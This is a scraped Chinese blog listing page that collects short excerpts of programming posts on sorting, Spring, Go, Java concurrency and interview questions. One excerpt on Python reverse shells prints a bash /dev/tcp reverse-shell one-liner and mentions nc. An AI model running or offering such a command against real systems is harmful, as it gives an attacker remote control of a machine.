一、冒泡排序 说明: 冒泡排序是依次比较相邻两个数,将小数放在前面,大数放在后面。 第一趟:比较第1第2两个数,小数放在前面,大数放在后面;然后比较第2第3个数,小数放在前面,大数放在后面......到最后一个数。第一趟结束,最大的数放在了最后。 第二趟:比较第1第2两个数,小数放在前面,大数放在后 ...
分类:
编程语言 时间:
2019-04-24 00:35:16
阅读次数:
133
说明 windows下:以管理员身份使用 或者 。 安装 依次输入以下命令,安装 , , 三个包 测试 写 脚本 运行以上脚本,如果可以显示出测试的图像,则环境搭建成功。 ...
分类:
编程语言 时间:
2019-04-24 00:35:45
阅读次数:
152
错误提示: selenium.common.exceptions.SessionNotCreatedException: Message: Unable to find a matching set of capabilities 原因: 这是因为火狐浏览器版本与geckodriver驱动版本不匹配 ...
分类:
编程语言 时间:
2019-04-24 00:37:34
阅读次数:
135
三、SpringBoot整合Thymeleaf As well as REST web services, you can also use Spring MVC to serve dynamic HTML content. Spring MVC supports a variety of temp ...
分类:
编程语言 时间:
2019-04-24 00:39:43
阅读次数:
119
ip地址查询的全代码: 智力使用ip183网站进行ip地址归属地的查询,我们在查询的过程是通过构造url进行查询的,将要查询的ip地址以参数的形式添加在ip183url后面即可。 ...
分类:
编程语言 时间:
2019-04-24 09:15:24
阅读次数:
142
一、题目:修改矩阵(美团2019春招实习笔试) 思路:采用两个矩阵存储这两个不同的数字 代码: ...
分类:
编程语言 时间:
2019-04-24 09:25:24
阅读次数:
175
一、前言 Go(又称Golang)是Google开发的一种静态强类型、编译型的编程语言。 Go语言的主要特点包括:自动垃圾回收、更丰富的内置类型、函数多返回值、错误处理、匿名函数和闭包、类型和接口、并发编程、反射、语言交互性。 二、安装配置 Go语言的安装是很简单的,下载安装包进行安装就好了,但是不 ...
分类:
编程语言 时间:
2019-04-24 09:32:32
阅读次数:
913
1、写一个函数,将两个dict(key是数字,value是string)进行合并,函数返回合并后的dict,规则如下:如果一个key仅仅存在于其中一个dict中,则直接加入合并后的dict;如果一个key在两个dict中都存在,那么给定一个choice值,choice可以是任何string,如果ch ...
分类:
编程语言 时间:
2019-04-24 10:37:37
阅读次数:
182
<! flowchart 箭头图标 勿删 SpringCloud微服务系列博客: SpringCloud微服务之快速搭建EurekaServer:https://blog.csdn.net/egg1996911/article/details/78787540 SpringCloud微服务之注册服务 ...
分类:
编程语言 时间:
2019-04-24 10:46:21
阅读次数:
286
处理错误 如果Java程序运行期间出现了错误,并且由于出现错误导致某些操作没有完成,程序应该能够返回到一种安全状态,并能够让用户执行一些其他的命令;或者允许用户保存所有操作结果,并以妥善的方式终止程序。 其中错误的来源可能有以下几种: 1.用户输入错误 例如:程序定义输入为int,但是用户输入了St ...
分类:
编程语言 时间:
2019-04-24 10:47:43
阅读次数:
157
以zipentry来命名zip内文件列表。
以FileInputStream来读取文件。
以zipoutputstream输出流进行压缩文件写入。
分类:
编程语言 时间:
2019-04-24 11:55:41
阅读次数:
172
1、说说进程、线程、协程之间的区别 简而言之,进程是程序运行和资源分配的基本单位,一个程序至少有一个进程,一个进程至少有一个线程.进程在执行过程中拥有独立的内存单元,而多个线程共享内存资源,减少切换次数,从而效率更高.线程是进程的一个实体,是cpu调度和分派的基本单位,是比程序更小的能独立运行的基本 ...
分类:
编程语言 时间:
2019-04-24 11:58:02
阅读次数:
154
这遍文章将介绍Spring AOP切点表达式(下称表达式)语言,首先介绍两个面向切面编程中使用到的术语。 连接点(Joint Point):广义上来讲,方法、异常处理块、字段这些程序调用过程中可以抽像成一个执行步骤(或者说执行点)的单元。从Spring AOP来讲,就是指java的方法和异常处理代码 ...
分类:
编程语言 时间:
2019-04-24 12:00:03
阅读次数:
191
python 反弹shell 我们知道,一般的反弹shell 可以直接使用 base 反弹 bash -i >& /dev/tcp/ownip/port 0>&1 还可以使用一些简单的命令 nc nmap 等等。。。。 nc -l -p port -vv xxx 经过前几次的攻击,他也变聪明了,知道 ...
分类:
编程语言 时间:
2019-04-24 12:07:01
阅读次数:
321
在Java应用中,绝大多数情况下都是通过同步的方式来实现交互处理的;但是在处理与第三方系统交互的时候,容易造成响应迟缓的情况,之前大部分都是使用多线程来完成此类任务,其实,在spring 3.x之后,就已经内置了@Async来完美解决这个问题 1. 何为异步调用? 在解释异步调用之前,我们先来看同步 ...
分类:
编程语言 时间:
2019-04-24 12:08:15
阅读次数:
143
我的学习阶段是跟着CZBK黑马的双源课程,学习目标以及博客是为了审查自己的学习情况,毕竟看一遍,敲一遍,和自己归纳总结一遍有着很大的区别,在此期间我会参杂Java疯狂讲义(第四版)里面的内容。 前言:此随笔主要是Java基础中的基础,相信大家对这方面肯定有着自己的理解和认识,具体详解可以参照万能的b ...
分类:
编程语言 时间:
2019-04-24 12:08:48
阅读次数:
114
JavaScript中创建数组有两种方式 (一)使用 Array 构造函数: (二)使用数组字面量表示法: 数组的方法有数组原型方法,也有从object对象继承来的方法,这里我们只介绍数组的原型方法,数组原型方法主要有以下这些: join()push()和pop()shift() 和 unshift ...
分类:
编程语言 时间:
2019-04-24 12:10:20
阅读次数:
139
CAS是什么? CAS是英文单词CompareAndSwap的缩写,中文意思是:比较并替换。CAS需要有3个操作数:内存地址V,旧的预期值A,即将要更新的目标值B。 CAS指令执行时,当且仅当内存地址V的值与预期值A相等时,将内存地址V的值修改为B,否则就什么都不做。整个比较并替换的操作是一个原子操 ...
分类:
编程语言 时间:
2019-04-24 12:12:49
阅读次数:
165
锁是JAVA多线程关键,也是面试中必问的, 在此好好总结一下。 (先要从进程和线程说起,此处先欠下,回头专门说一下操作系统是怎么管理进程和线程的) 说到多线程就要说说JAVA的内存模型:图片来自于网络。 Java内存模型的主要目标是定义程序中各个变量的访问规则,即在虚拟机中将变量存储到内存和从内存中 ...
分类:
编程语言 时间:
2019-04-24 12:14:30
阅读次数:
110
题目描述输入两个单调递增的链表,输出两个链表合成后的链表,当然我们需要合成后的链表满足单调不减规则。#-*-coding:utf-8-*-#@Time:2019-04-2410:17#@Author:JayceWong#@ProjectName:job#@FileName:mergeSortedLinkedList.py#@Blog:https://blog.51cto.com/jayce1111#
分类:
编程语言 时间:
2019-04-24 12:15:38
阅读次数:
150